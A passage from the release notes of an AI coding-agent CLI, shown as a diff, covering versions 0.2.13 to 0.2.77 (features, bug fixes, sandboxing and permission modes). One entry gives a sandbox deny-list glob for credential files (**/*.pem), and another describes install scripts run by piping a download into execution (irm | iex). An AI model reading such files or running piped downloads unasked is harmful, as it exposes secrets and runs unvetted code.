-- **LaTeX math now renders** inside markdown tables in the TUI.
-- **Background shell commands** started by the agent are now cleaned up when the CLI exits.
-
-## Performance
-
-- **`grok update`** downloads have a longer timeout.
-
-
-# 0.2.77 — 2026-06-30
-
-## Features
-
-- **Pasting images** from the local clipboard now works when running commands through `grok wrap`.
-- **Turn status spinner** now shows what the agent is waiting on (response, subagent, task output, etc.).
-- **Double-click word selection** is now a discoverable option in the Text selection setting and stays in sync with highlight behavior.
-
-## Bug Fixes
-
-- **Credit limit errors** now show clearer upgrade or buy-credits messaging based on billing type.
-
-
-# 0.2.76 — 2026-06-30
-
-## Features
-
-- **Auto permission mode** is now added to the top of Shift+Tab cycles and enabled by default in settings.
-- **grok agent stdio** now checks for updates in the background like other modes.
-
-## Performance
-
-- **Idle sessions** no longer send repeated empty frames to the terminal, reducing CPU usage in the terminal emulator.
-
-
-# 0.2.75 — 2026-06-29
-
-## Features
-
-- **Prompt history** (Up arrow / Ctrl+R) now shows only the current session's prompts, with the newest selected at the bottom.
-
-# 0.2.74 — 2026-06-29
-
-## Features
-
-- **Esc now cancels a running turn immediately**; double-Esc clears prompt or opens rewind when idle.
-- **grok wrap** now shows copy success over SSH and suggests native drag-select when paste fails.
-
-## Bug Fixes
-
-- **Clipboard copy** now succeeds reliably on Wayland and KDE desktops instead of showing false positives.
-
-
-# 0.2.73 — 2026-06-28
-
-## Features
-
-- **Keep text selection highlight** setting added so drag selections stay visible until dismissed.
-
-## Bug Fixes
-
-- **Doubled lines** after tab switches or focus changes in tmux or editor terminals are now healed.
-- **Clipboard copy** now only shows success when the pasteboard actually received the text via a trusted path.
-
-
-# 0.2.72 — 2026-06-28
-
-## Bug Fixes
-
-- **No longer triggers browser login** at startup when an API key is already configured for inference.
-
-
-# 0.2.71 — 2026-06-27
-
-## Bug Fixes
-
-- **Fixed `grok agent stdio` hangs** on Windows when used with persistent clients such as VS Code.
-
-
-# 0.2.70 — 2026-06-27
-
-## Breaking Changes
-
-- **Added `grok wrap`** to run any command with local clipboard support.
-
-## Features
-
-- **Ctrl+4** now toggles the prompt queue on local macOS VS Code terminals.
-
-## Bug Fixes
-
-- **Session recaps** (/recap and return-from-away) now show the full summary instead of being cut off mid-sentence.
-- **Vim mode** now focuses the prompt when you press / on a brand-new empty session.
-- **Fixed `grok agent stdio` startup hangs** on Windows when used with persistent clients such as VS Code or grok-desktop.
-- **`/mcps` list** no longer shows stale disabled entries when managed gateway tools are enabled.
-- **Mermaid diagrams opened via [Open Image]** now render at higher resolution instead of terminal size.
-- **Pressing `r` in scrollback** no longer accidentally rewinds the session.
-- **Shortcuts cheatsheet** now shows Ctrl+X on terminals that cannot deliver Ctrl+.
-- **Folder trust prompts** no longer re-appear for every standalone worktree clone.
-- **Reasoning effort** no longer silently resets from a user-chosen value after catalog refreshes.
-- **Fixed clipboard copy** inside editor terminals nested in tmux by emitting plain OSC 52.
-
-# 0.2.69 — 2026-06-26
-
-## Features
-
-- The agent dashboard now shows each agent's model and mode in the peek panel, lets you cycle modes with Shift+Tab, collapses the Inactive section by default, and hides older idle agents behind a "N more" row.
-- Tool usage cards for search, directory listing, file deletion and glob now render as distinct typed cards instead of generic MCP entries.
-- The keyboard shortcuts help now shows richer descriptions and correctly scrolls wrapped text in the detail view.
-- You can now pass --json-schema to grok -p and receive a validated JSON object instead of free text.
-- **Ctrl+L** now interjects mid-turn in VS Code, Cursor, Windsurf, and Zed terminals.
-
-## Bug Fixes
-
-- Local plugins installed from your home directory are now automatically refreshed when you start a session, so new agents or skills added to the source appear immediately.
-- The /context command now reports the same number of tool definitions that are actually sent to the model.
-- In vim mode the agent dashboard peek no longer steals keyboard focus from the list, so j and k keep moving between agents.
-- **/sessions** on the agent dashboard no longer freezes the interface.
-- **Dashboard** now focuses the overview list immediately when agents exist.
-
-# 0.2.68 — 2026-06-26
-
-## Features
-
-- **MCP servers** from host integrations can now be added, replaced, or removed without restarting the session.
-- **Agent-run terminal commands** now set `KIGI_AGENT=1` so host tools can tell them apart from interactive shells.
-
-## Bug Fixes
-
-- **Attached images** are now saved to real disk paths so the model can read them in any terminal.
-- **/resume** now selects the correct model when a saved model name is ambiguous.
-- **Slash and completion menus** no longer crash if the terminal is resized while open.
-
-
-# 0.2.67 — 2026-06-25
-
-## Features
-
-- **Added --json-schema** flag for headless mode to constrain model output to a supplied JSON Schema.
-- **Idle detection** can now ignore background tasks when the env flag is set (off by default).
-
-## Bug Fixes
-
-- **Preview panes** no longer hibernate while actively viewed or polled.
-- **Manual /rename** now persists correctly and appears in /session-info even after auto title generation or resume.
-
-## Performance
-
-- **Find and grep** now transparently use faster bfs and ugrep binaries when present in the harness.
-
-
-# 0.2.66 — 2026-06-25
-
-## Features
-
-- **Custom sandbox profiles** can now kernel-deny specific files and directories for reads/writes.
-- **Marketplace plugins** in subdirectories of a git repo can now be installed and loaded correctly.
-- **Folder trust prompt** now appears before starting a session when the feature is enabled.
-- **Preview panes** no longer hibernate while actively viewed.
-- **Keyboard shortcuts help** now expands inline for individual entries instead of only sections.
-- **Idle detection** can now ignore background tasks when the env flag is set (off by default).
-- **Sandbox deny lists** now accept glob patterns like **/*.pem** in addition to exact paths.
-
-## Bug Fixes
-
-- **Local MCP servers** now auto-recover after disconnects or session expiry.
-- **OIDC sessions** with XAI_API_KEY present no longer lose refresh on idle.
-- **Inline video previews** now show an install command only when the package manager is on PATH.
-- **list_dir** now reliably shows all immediate child directories even inside large monorepos.
-- **Clicking a model** in the dashboard /model dropdown no longer opens the wrong session.
-- **Strikethrough** now only applies to ~~double tildes~~; single ~tildes~ render literally.
-- **Session cycling** with Ctrl+[ / ] now switches from the session you are currently viewing.
-- **Prompt history** (Up / Ctrl+R) now shows the complete recent list instead of a scrambled partial one.
-- **Authentication** now correctly prefers the session method when both API key and cached token are present.
-- **xychart-beta** diagrams with category labels now render correctly as images.
-
-
-# 0.2.65 — 2026-06-24
-
-## Features
-
-- **grok -w --ref <branch>** now creates worktrees based on the specified ref instead of HEAD.
-
-## Bug Fixes
-
-- **Unidentified Windows consoles** are now treated as Windows Terminal for capability decisions.
-- **Esc** in the dashboard input now moves focus to the list without clearing your typed draft.
-- **Copying** a tool header now copies just the path or command, not the Read/Run label.
-- **Execute activity** lines and headers no longer repeat a redundant cd into the session directory.
-- **Inline video previews** now show an install hint instead of a spinner when ffmpeg is missing.
-
-## Performance
-
-- **Headless and stdio sessions** no longer start unnecessary filesystem watchers, saving CPU and IO.
-- **Scrolling** feels more responsive in VS Code, Cursor, and Windsurf integrated terminals.
-
-
-# 0.2.64 — 2026-06-24
-
-## Features
-
-- **Dashboard** now displays the current directory and branch; click or press Ctrl+L to change location, or Ctrl+W to dispatch new agents into fresh git worktrees.
-- **/recap** now appears as a collapsible tool-style block with a loading spinner while generating.
-
-## Bug Fixes
-
-- **Dashboard** arrow keys open agent details and exit overlays; closing an agent now selects the neighboring row.
-- **/usage** command and credit warnings are now hidden for API-key authentication.
-- **MCP servers** from your user config no longer appear labeled as project-scoped when running from your home directory.
-
-
-# 0.2.63 — 2026-06-23
-
-## Bug Fixes
-
-- **Fixed hook matchers** so pipe-list and alias patterns no longer silently over-match unrelated tool names.
-
-
-# 0.2.62 — 2026-06-23
-
-## Features
-
-- **Hosts can now register hooks** over the agent connection instead of only on-disk files.
-- **Prompt and /usage warnings** now correctly reflect prepaid credits and auto top-up status.
-- **Desktop clients can now detect** when a terminal is busy running a foreground process.
-- **TODO list** remains visible to the model after compaction so it can continue working on pending items.
-- **/recap** is now available by default — it generates a quick summary of your current session so you can catch up on what's happened so far.
-
-## Bug Fixes
-
-- **MCP server connections** no longer time out during slow cold starts of stdio servers that download dependencies.
-- **File paths containing spaces** (e.g. macOS app bundles) are now correctly turned into clickable hyperlinks in the terminal.
-- **Resume** now correctly picks the most recently active session instead of one that only had metadata updates.
-- **/goal** slash command now appears in the menu on the welcome screen before any prompt is sent when the feature is enabled.
-- **Session picker** no longer shows a stale row highlight when keyboard focus moves to the search bar.
-- **Usage percentages** in /usage and warnings now match backend flooring and show pay-as-you-go limits when applicable.
-- **Team accounts** can now list sessions after re-login; previously returned 403 on conversations API.
-
-
-# 0.2.61 — 2026-06-22
-
-## Features
-
-- **Closing a terminal tab** with a running process now shows a confirmation dialog instead of killing it immediately.
-- **/usage** now shows prepaid credits balance and auto top-up status.
-- **Clipboard copy** on Wayland now also tries wl-copy; per-leg outcomes are now logged for diagnostics.
-- **Goal mode toggles and limits** can now be set in config.toml under the [features] table.
-- **All /goal options** (toggles, limits, role models) are now configurable together in a [goal] table.
-- **Clipboard copies** from VS Code over SSH now warn when non-ASCII text may be garbled.
-
-## Bug Fixes
-
-- **Focus reports** no longer leak as literal text when split across reads over SSH.
-- **--disable-web-search** now honored in grok -p and grok agent; auxiliary model routing respects catalog overrides.
-- **Focus events** now fire correctly for SSH-split focus reports.
-- **Boolean tool flags** now accept "true"/"false"/"yes"/"no"/1/0 strings and numbers in addition to native booleans.
-- **Session last-active timestamps** and message counts no longer regress under concurrent writers.
-- **iTerm2** now always uses text/metadata image fallback instead of broken OSC 1337 overlays.
-- **Model switches** no longer leave the prompt queue stuck after a reconnect.
-- **Closing a terminal tab** with a running process no longer shows a confirmation dialog.
-- **Custom agent profiles** now correctly use the harness required by their pinned model.
-- **Subagents** under custom profiles now adopt the correct harness from the parent's model.
-- **Changelog and release-notes** modals now scroll with the mouse wheel and arrow keys.
-
-
-# 0.2.60 — 2026-06-21
-
-## Features
-
-- **/resume** now shows sessions from your current working directory's repo at the top of the list.
-- **Too-wide Mermaid diagrams** now show a hint below the fallback box pointing to the Open Image button.
-- **Cancel behavior for running subagents** can now be set to always stop or always continue in config.toml.
-
-## Bug Fixes
-
-- **Compaction** no longer hangs indefinitely when the summarizer stream stalls after the server has finished.
-- **Slash command completion** now shows consistent suggestions and remembers recently used commands.
-- **Queued prompts** now reappear reliably after deleting the last item and re-queuing.
-- **Headless sessions** no longer produce authentication error noise from unauthenticated MCP servers.
-- **Mermaid flowchart labels** with long identifiers are now kept whole instead of being cut mid-word.
-- **Cmd+Backspace** now deletes only from the cursor to the start of the line instead of clearing the whole prompt.
-- **Inline Mermaid previews** now break long identifiers at word boundaries instead of mid-segment.
-- **Signed git commits** no longer corrupt the TUI by letting pinentry draw over the screen.
-- **Arrow keys** now move the prompt cursor or open history while a /btw answer panel is visible.
-- **Long option descriptions** in question prompts now expand fully when the row is focused.
-
-## Performance
-
-- **Large MCP tool results** are now truncated inline and saved to disk to avoid unnecessary context compaction.
-
-
-# 0.2.59 — 2026-06-19
-
-## Bug Fixes
-
-- **Session recaps** no longer display doubled labels and manual recap now correctly suppresses the next automatic recap.
-
-
-# 0.2.58 — 2026-06-19
-
-## Bug Fixes
-
-- Terminal command output files are now capped at 5 GB during execution and truncated to 64 MB after the process exits.
-- Interjection messages now display the actual user text instead of a generic header.
-- The legacy `agent` command is now kept in sync with `grok` after running `grok update`.
-- Headless (`grok -p`) runs now wait for background tasks and subagents to finish before exiting.
-
-
-# 0.2.57
-
-## Features
-
-- Improved resilience to network blips during long responses by resuming instead of failing the turn.
-- **`grok plugin install <name>`** now resolves plugins from registered marketplaces instead of only local paths.
-
-## Bug Fixes
-
-- Fixed cases where long-running conversation compaction could hang indefinitely.
-- Notification hooks now fire only for real user-attention events and no longer trigger constantly during tool use.
-- Fixed literal display of HTML entities such as &lt; and &gt; in responses and tool output.
-- **Typing `[`** in the pager prompt no longer appears delayed.
-- **Copy** now tries all available Linux clipboard tools so paste works reliably in more terminals.
-
-
-# 0.2.56
-
-## Features
-
-- **resume_from** now continues a finished sub-agent in place instead of forking a new conversation.
-- **grok sessions delete <id>** command now lets you permanently remove a session from the CLI.
-
-## Bug Fixes
-
-- **MCP server connections** no longer get torn down during rapid config reloads.
-- **Stale leader processes** are now cleaned up when leader mode is disabled via config or remote settings.
-- **Sandbox profile** is now preserved when resuming sessions so commands continue to work as before.
-- **list_dir** now shows more relevant files when a large directory appears early in alphabetical order.
-- **Cancel button** in turn status always shows [stop]; queue pane highlight now follows theme changes.
-- **grok quit** no longer hangs when background git or network tasks are slow.
-- The token count shown after auto-compaction now matches the context bar exactly.
-- The git branch icon now renders correctly in iTerm2 without a Nerd Font.
-- **list_dir** now gives clearer guidance when a directory is too large, using the actual tool names available in your session.
-- **Ctrl+Enter** now sends the prompt when the agent is idle (same behavior as Enter).
-- **resume_from** now correctly continues a sub-agent in the same working directory it was using before.
-- Files with non-ASCII names (e.g. Chinese) no longer crash the session when plan mode checks for markdown.
-- Session lists (welcome screen, /resume, grok sessions list) are now sorted by the same activity time shown in the UI.
-- **Fixed bash tool failures** when models send numeric arguments such as timeout as JSON strings instead of numbers.
-- **Prevented crashes** during bash command output streaming when building progress frames.
-- **Disabled inline image rendering** on iTerm2 terminals where scrollback overlays cannot be supported.
-
-## Performance
-
-- Fast tools like grep now show as completed immediately even when other tools in the same round are still running.
-- Long sessions that display inline images no longer grow to multi-GB memory usage.
-
-
-# 0.2.55
-
-## Features
-
-- **Added option** to fully disable the hunk tracker via --hunk-tracker-mode, KIGI_HUNK_TRACKER, or config.
-
-## Bug Fixes
-
-- **Windows install scripts** now download and run cleanly via irm | iex without spurious BOM errors.
-- **Tables and wide content** no longer leave stray characters next to timestamps in the scrollback.
-- **Mermaid diagrams** now render node labels cleanly without HTML tags or raw markdown syntax.
-- **MCP servers using HTTP** now recover automatically after temporary connection drops instead of becoming permanently unavailable.
-- **Very long sessions** can now scroll all the way to the bottom of the conversation history.
-
-
-# 0.2.54
-
-## Features
-
-- **Rewind** now works end-to-end across conversation and file state with proper CAS handling.
-
-## Bug Fixes
-
-- **Git branch icons** now render correctly on Windows without Nerd Fonts.
-- **Mermaid diagrams** now render inline without the model suggesting external viewers.
-- MCP connection errors now show the actual failure reason to the model.
-- MCP servers with noisy stdout no longer disconnect unexpectedly.
-- **Usage warnings** now always display "Usage left: N%" instead of varying between "Free credits left" and "Credits left".
-- **Window title** no longer flashes or oscillates during permission prompts while the terminal window is focused.
-
-## Performance
-
-- **Fixed pager freezes** and 100% CPU usage when rendering very long agent reasoning outputs with thousands of styled spans.
-
-
-# 0.2.53
-
-## Bug Fixes
-
-- Minor bug fixes.
-
-# 0.2.52
-
-## Features
-
-- **Tool auto-approval (YOLO)** state is now tracked end-to-end in server-side agent sessions.
-- **ER diagrams** now render as entity boxes with attributes and relationships in the TUI.
-- New "Respect manual folds" setting keeps hand-expanded blocks stable while content streams in.
-- **Ctrl+X** now stops running turns or closes sessions from inside the agent detail view.
-- **Grok** can now export usage metrics and events to your own OpenTelemetry collector when enabled.
-- **WezTerm users** now receive guidance when Shift+Enter fails because kitty keyboard protocol is disabled.
-- **Long-running sessions** now tell the model when the local calendar date changes past midnight.
-- **Agent Dashboard** now works without leader mode and shows local idle sessions from disk.
-
-## Bug Fixes
-
-- **Fixed oversized session replay logs** that prevented large sessions from loading.
-- **MCP server connections** no longer flood reconnects on repeated stream errors.
-- **ZDR and team upload flags** are now populated immediately on login instead of only after background refresh.
-- **Mermaid PNG export** now handles quoted cardinalities in class diagrams and readable ER rows on dark theme.
-- **Skill catalog** no longer shows duplicate "Use when:" labels and check-work skill now prompts the model to read its instructions.
-- Compaction now rejects overly-short summaries that would discard real conversation state.
-- Background tasks no longer emit spurious failure messages when a session is resumed.
-- **Fixed Windows path handling** so external tools and model prompts receive clean paths without \?\ prefixes.
-- **Images and media** no longer remain visible when switching from an agent view to the dashboard.
-- **Clipboard paste** (Ctrl+V) now works for images on pure Wayland sessions.
-- **Modals** such as /sessions no longer crash on narrow terminals.
-- **ptyctl resize** now correctly notifies the child process.
-- **Concurrent updates** to the same version no longer fail with permission or EEXIST errors.
-- **Mermaid diagrams** containing CJK or other non-Latin text now render correctly instead of tofu boxes.
-- **`grok dashboard`** now reliably opens the dashboard instead of silently falling through to a normal session.
-- **Sessions** no longer remain blocked forever after a transient model catalog outage during reconnect.
-- **Cancel** no longer leaves the interface stuck on "Cancelling…" after lost responses during reconnects.
-- **Forked sessions** now retain the parent's full pre-compaction transcripts instead of only the compacted summary.
-- **web_fetch** errors on GitHub hosts now recommend using the gh CLI when internal access is blocked.
-- **MCP server connections** no longer hang when stdio servers emit undecodable lines.
-- **Ctrl+C cancels** now complete in under 50 ms instead of blocking for seconds.
-- **Repeated varied edit failures** on one file no longer trigger doom-loop warnings or terminations.
-
-## Performance
-
-- **Compaction** now reuses cached prompt prefix instead of full prefill.
-
-# 0.2.51
-
-## Breaking Changes
-
-- **`grok mcp add`** now accepts positional arguments (e.g. `grok mcp add filesystem -- npx...`), supports --scope project, and adds -e/-H flags for env/headers.
-
-## Features
-
-- **Mermaid flowcharts** now render subgraph blocks as titled frames with correct internal and cross-boundary edges.
-- **Class diagrams** in Mermaid now render as proper UML boxes with attributes, methods and inheritance arrows instead of raw source.
-- **Permission prompts** now accept a double-click on an option to submit it, matching the existing Enter and number-key shortcuts.
-- **New /code-review slash command** now ships with the CLI and is always available.
-
-## Bug Fixes
-
-- **Plan mode exit reminders** no longer appear after the model has already started implementing the plan.
-- **Expanded thinking blocks** in scrollback now remain expanded when the agent finishes them.
-- **`grok update`** no longer downloads the same binary twice when multiple updaters or leader checks run concurrently.
-- **Background task IDs** after /compact are now shown verbatim so the model can reference them correctly in later tool calls.
-- **Typing /** while scrollback is focused now focuses the prompt and opens the slash-command dropdown.
-- **Dashboard empty state** is now a single hint line; dispatch and peek placeholders appear only when unfocused.
-- **Fixed memory leaks** that could cause the CLI to use tens of gigabytes during long sessions with many tool calls.
-- **Login on SSH or headless machines** now tells you when the browser cannot be opened automatically and shows the URL to visit manually.
-- **Fixed git clone failures** on Windows when the CLI tries to clone marketplace plugins into ~/.kigi.
-
-## Performance
-
-- **Large code blocks** inside lists no longer cause multi-second UI stalls while streaming responses.
-
-
-# 0.2.50
-
-## Features
-
-- **Mermaid flowcharts** now render edge crossings clearly instead of fusing unrelated connections.
-
-## Bug Fixes
-
-- **Sequence diagrams** with activate, autonumber, par, and more now render instead of showing parse errors.
-- **MCP servers menu** and slash commands now work when starting grok outside a project directory.
-- **Ctrl+W** in the prompt now deletes whole words like bash instead of stopping at punctuation.
-- **Login** no longer quits when an authentication code contains the letter q.
-
-
-# 0.2.49
-
-## Features
-
-- Marketplace plugin listings now show skills, MCP servers, and commands when the catalog is published.
-- Mermaid flowcharts now render with fewer avoidable edge crossings.
-- **stateDiagram** mermaid blocks now render as Unicode diagrams instead of source fallback.
-
-## Bug Fixes
-
-- **Skill reloads** no longer corrupt active tool calls or produce duplicate results in the conversation.
-- **grok --resume** now correctly finds the real session instead of failing on empty image-only folders.
-- Pasted images and relative paths now use the correct directory when resuming a session created elsewhere.
-- **Mermaid flowcharts** now correctly render node groups, arrow endings, self-loops and line styles.
-- **Fixed** "unknown session id" errors that occurred after the leader process crashed or was killed.
-- **Pasted images** now survive interjections and queue edits instead of being dropped.
-- **Managed MCP connectors** (Slack, Linear, etc.) now appear correctly when using leader mode.
-
-
-# 0.2.47
-
-## Features
-
-- **stateDiagram** Mermaid blocks now render as diagrams instead of source fallback.
-
-## Bug Fixes
-
-- **Pasted images** now survive interjections and queue edits instead of being dropped.
-- **Managed MCP connectors** (Slack, Linear, etc.) now appear correctly when using leader mode.
-
-
-# 0.2.46
-
-## Features
-
-- **Mermaid flowcharts** now render with fewer avoidable edge crossings.
-
-## Bug Fixes
-
-- **Fixed `grok --resume`** failing on empty image-only session folders left by cross-directory pastes.
-- **Fixed pasted images** and relative paths using the wrong directory after cross-cwd resume.
-- **Fixed Mermaid flowcharts** that silently rendered wrong diagrams for & groups, circle/cross endings and self-loops.
-- **Fixed zsh tab-completion** for subcommands after the optional prompt argument was added.
-- **Fixed "unknown session id" errors** after the leader process crashed or was killed.
-- **Fixed repeated auto-compaction attempts** when the session is credit-blocked or auth is non-refreshable.
-
-## Performance
-
-- **Parallel tool calls** on the same path (multiple greps etc.) now execute concurrently.
-
-
-# 0.2.45
-
-## Features
-
-- **Mermaid diagrams** now render to images when you click Open in a code block (on by default).
-
-## Bug Fixes
-
-- **Fixed** rare conversation corruption when skills changed while a tool call was still running.
-- **Fixed** `grok --resume` failing on empty image-only session folders left by cross-directory pastes.
-- **Fixed** pasted images and relative paths using the wrong directory after resuming a session from another folder.
-- **Welcome screen logo** no longer renders as invalid characters on legacy Windows command prompts and PowerShell.
-- **Fixed** "unknown session id" errors that occurred after the leader process crashed or was killed.
-
-
-# 0.2.44
-
-## Features
-
-- **K/J** keys now snap the viewport to the top of previous or next assistant responses.
-- **J/K** (vim mode) now navigate between assistant responses in scrollback.
-- **sequenceDiagram** mermaid blocks now render as Unicode lifeline diagrams instead of source fallback.
-
-## Bug Fixes
-
-- **Interjecting** while editing a queued prompt no longer strands the composer or blocks the queue.
-- **Mid-turn interjections** now appear as separate user messages instead of being appended to tool results.
-- **Project MCP config** touches no longer trigger repeated reload storms.
-
-## Performance
-
-- **Inference requests** recover faster from silent engine stalls instead of waiting the full idle timeout.
-
-
-# 0.2.43
-
-## Bug Fixes
-
-- **ask_user_question** tool can now be enabled in allowlists without requiring plan-mode tools.
-- **Shift+Tab** mode cycling (Normal → Plan → Auto-Approve) works again in the agent view.
-- **Ctrl+C** now cancels a blocking `grok update` cleanly instead of leaving an orphaned download repainting the terminal.
-
-
-# 0.2.42
-
-## Bug Fixes
-
-- **ask_user_question** tool can now be enabled in allowlists without requiring plan-mode tools.
-- **MCP servers** provided at session start now persist across config hot-reloads.
-
-
-# 0.2.41
-
-## Features
-
-- **Compaction completion message** now shows the before → after token reduction instead of only the final count.
-
-## Bug Fixes
-
-- **Fixed token count after compaction** so the displayed number no longer jumps back up on the next model response.
-- **Fixed plugin skill loading** when a manifest lists skill directories directly instead of a parent skills/ folder.
-
-## Performance
-
-- **Fixed memory context injection** on resume so the prompt prefix stays byte-stable and KV cache is preserved.
-
-
-# 0.2.40
-
-## Features
-
-- **`grok --debug`** now produces per-session log files under ~/.kigi/debug/ even with a leader process.
-
-## Bug Fixes
-
-- **Doom-loop warnings** now correctly describe cycles and distinct edit failures instead of claiming identical arguments.
-- **Model list changes** from config or cache now appear in already-connected TUI and IDE clients without restart.
-
-
-# 0.2.39
-
-## Features
-
-- **run_terminal_cmd** can stream live stdout/stderr chunks when the workspace flag is enabled.
-- **/session-info** now displays the current turn index.
-- Server-synced and bundled skills are now discovered from launcher-injected directories.
-- **Background `&` operator** is now allowed by default in terminal commands.
-
-## Bug Fixes
-
-- **Resumed subagents** no longer loop forever during auto-compaction on large context windows.
-- **Background task** descriptions and & rejection messages now correctly name the real parameters.
-- **Doom-loop detection** no longer falsely triggers on distinct failing tool calls.
-
-
-# 0.2.38
-
-## Features
-
-- **Watching status line** now appears when background monitors, loops, or subagents can wake the agent.
-
-## Bug Fixes
-
-- **Default model selection** now correctly chooses the intended entry when multiple models share a slug.
-- Minor bug fixes
-
-
-# 0.2.37
-
-## Features
-
-- **MCP tool result queries** now list only command-line tools actually present on your system.
-- **`grok update`** now restarts any older running leader so all clients get the new binary.
-- **Long-running bash commands** that hit the timeout are now moved to the background by default instead of killed.
-
-## Bug Fixes
-
-- **Subagents** now correctly receive web_search and x_search tools from the parent session.
-
-
-# 0.2.36
-
-## Features
-
-- **Large MCP tool results** are now saved with the correct extension and the model receives better hints for querying them.
-
-## Bug Fixes
-
-- **Fixed false-positive doom-loop terminations** when many parallel tool calls fail together in one batch.
-- **Fixed a crash** that could occur during auto-compaction when resuming a session containing reasoning content.
-
-
-# 0.2.35
-
-
-# 0.2.34
-
-## Features
-
-- **`grok login`** now defaults to device code flow, which works reliably in SSH, WSL, VPN, and browser-restricted environments.
-
-## Bug Fixes
-
-- **Fixed a hang during auth refresh.**
-
-
-# 0.2.33
-
-## Bug Fixes
-
-- **Fixed duplicate turn output** when attaching a second client to an active leader session.
-- Fixed **Send now** on queued prompts.
-
-
-# 0.2.32
-
-## Features
-
-- **Slash commands** from project plugins now appear correctly in every open conversation after a plugin change.
-
-## Bug Fixes
-
-- **Prompts submitted rapidly** now stay in correct submission order in the queue.
-
-## Performance
-
-- **Grep searches** on large repositories are now substantially faster and no longer hit the 60-second timeout.
-
-
-# 0.2.31
-
-## Bug Fixes
-
-- **Marketplace skills** without proper descriptions are now hidden from listings instead of flooding the model with tables.
-- **Prompts submitted rapidly** now stay in correct submission order in the queue.
-
-## Performance
-
-- **Grep searches** on large repositories are now substantially faster and no longer hit the 60-second timeout.
-
-
-# 0.2.30
-
-## Features
-
-- A new plugin install suggestion appears above the prompt when you type a known marketplace plugin name or domain.
-
-## Bug Fixes
-
-- **Trace uploads** and remote session restores now succeed with a deployment key and no browser login.
-- **Resumed sessions** no longer pad the sticky prompt with empty rows; cancelling a turn now keeps the rest of the prompt queue intact.
-- Cancelling a running prompt no longer leaves the interface stuck on the cancelling spinner.
-
-
-# 0.2.29
-
-## Bug Fixes
-
-- **`/rewind`** before a compaction boundary no longer leaves later prompts in context.
-
-## Performance
-
-- **Resuming large sessions** is now substantially faster with no data loss.
-
-
-# 0.2.28
-
-## Bug Fixes
-
-- **Images** read via read_file are now downscaled even when small in bytes but large in pixels.
-# 0.2.27
-
-## Features
-
-- **Image and video generation** tools now include the saved filename and session folder in their output.
-
-## Bug Fixes
-
-- **Monitor output** no longer appears as raw XML in the conversation view during leader sessions.
-- **Windows commands** containing `&` are no longer incorrectly rejected by `run_terminal_cmd`.
-- **Python -c** save-to-file reminder now suggests correct commands on Windows.
-
-
-# 0.2.26
-
-## Bug Fixes
-
-- **Large pasted content** no longer triggers context-window errors or breaks compaction and memory flush.
-- **API-key users** can now run `grok agent --leader` without forced interactive login or timeouts.
-- **Compaction** no longer retries endlessly on credit, size, or auth failures; shows a clear message instead.
-- **Windows PowerShell and cmd.exe** no longer falsely reject commands containing `&`.
-- **web_fetch** no longer crashes the CLI on pages whose root element matches a cleaning selector.
-# 0.2.25
-
-## Bug Fixes
-
-- **Session titles** now generate reliably even for very long initial messages.
-
-
-# 0.2.24
-
-## Bug Fixes
-
-- Minor bug fixes
-# 0.2.23
-
-## Features
-
-- **Leader sessions** can now be viewed and controlled from multiple clients with a live dashboard.
-- **Sessions** can now be deleted directly from the /resume history picker.
-
-## Bug Fixes
-
-- **MCP plugin servers** with bundled OAuth client IDs now authenticate correctly.
-# 0.2.22
-
-## Bug Fixes
-
-- **Authentication errors** with static API keys now surface a clear error instead of hanging the turn.
-
-
-# 0.2.21
-
-## Features
-
-- **allowed_models** in config.toml now restricts which models appear in the picker and `/model` command.
-
-## Bug Fixes
-
-- **Code navigation** now returns correct results for secondary project windows with different working directories.
-# 0.2.20
-
-## Bug Fixes
-
-- **MCP servers** declared in both a plugin's.mcp.json and plugin.json are now registered instead of dropped.
-- **Git operations** now correctly target the repository for each session's working directory.
-# 0.2.19
-
-## Features
-
-- **Monitors** now appear labeled in background-task reminders after compaction and can be terminated by name.
-
-## Bug Fixes
-
-- **Reading images** with text-only models no longer triggers repeated 400 errors that brick the session.
-
-
-# 0.2.18
-
-## Features
-
-- **Official xAI plugin marketplace** now appears automatically in the Marketplace tab on first launch.
-- **Image and video generation** now use api.x.ai directly for all users.
-- **New image-to-video and reference-to-video tools** are now available for generating videos from images.
-- **New imagine skill** provides prompt-craft and workflow guidance for image generation and editing tools.
-
-## Bug Fixes
-
-- **image_edit** now correctly resolves pasted or attached images referenced as [Image #N].
-- **Background subagent completions** are no longer reported twice when the agent is idle.
-- **Subagents** now use the same model as the parent session by default.
-
-
-# 0.2.17
-
-## Features
-
-- **Image and video generation** tools now emit structured paths so the pager renders media without regex scraping.
-- **Compaction summaries** now use a more detailed structure that improves recovery after context reset.
-- **image_gen** can now be enabled via the harness model using [features] in config.toml or the KIGI_IMAGE_GEN_HARNESS env var.
-- **Improved config refresh** on new sessions from the shell.
-
-## Bug Fixes
-
-- **--restore-code** no longer detaches the source repository when resuming a forked-worktree session from a different directory.
-- **Read tool** string coercion bug fixes.
-- **ICO images** pasted or read from disk are now automatically converted to PNG before being sent to the model.
-# 0.2.16
-
-## Features
-
-- **New segments compaction mode** writes per-segment markdown files that the model can read to recover pre-compaction detail.
-- **Claude and Cursor compatibility scanning** (skills, rules, AGENTS.md) can now be toggled individually via env vars or config.toml.
-- **grok inspect** now shows the resolved on/off state and source for every Claude/Cursor compatibility toggle.
-- **Cursor MCP servers and hooks** are now discovered and can be disabled independently via KIGI_CURSOR_MCPS_ENABLED / KIGI_CURSOR_HOOKS_ENABLED.
-
-## Bug Fixes
-
-- **Streaming tool output** (bash/write_file) now renders completely in the pager instead of only the latest chunk.
-- **Streaming bash tool output** now appears correctly in the pager scrollback.
-- **Routing a native tool** (e.g. scheduler_create) through use_tool now gives a clear corrective error instead of an unrecoverable loop.
-- **"Starting session..."** spinner no longer gets stuck when zero MCP servers are configured.
-- **Subagents** now use the correct harness after switching models mid-session.
-- **Fixed long startup delays** when an external auth provider binary hangs or fails.
-- **Subagent conversations** no longer receive unrelated monitor events or background task completions from the parent.
-- **The /loop command** now accepts natural-language intervals instead of always defaulting to 10 minutes.
-- **Fixed blank output** on completed bash or code-execution cards after shell restart or reconnect.
-
-## Performance
-
-- **Large pasted images** no longer bust the prompt cache or exceed the 50 MiB request limit.
-
-
-# 0.2.15
-
-## Features
-
-- **Permission prompts** now remember your last choice across tools and let you configure the first-prompt default in config.toml.
-
-
-# 0.2.14
-
-## Features
-
-- **Generated images and videos** can now be opened directly from the terminal UI via buttons or clicks.
-- **Background tasks panel** now groups items, supports collapsible sections, and has clearer styling for monitors and loops.
-
-## Bug Fixes
-
-- **Session titles** are now generated reliably using a fixed default model.
-- **--permission-mode** now correctly overrides the permission_mode setting from config.toml when launching sessions.
-
-
-# 0.2.13
-
-## Bug Fixes
-
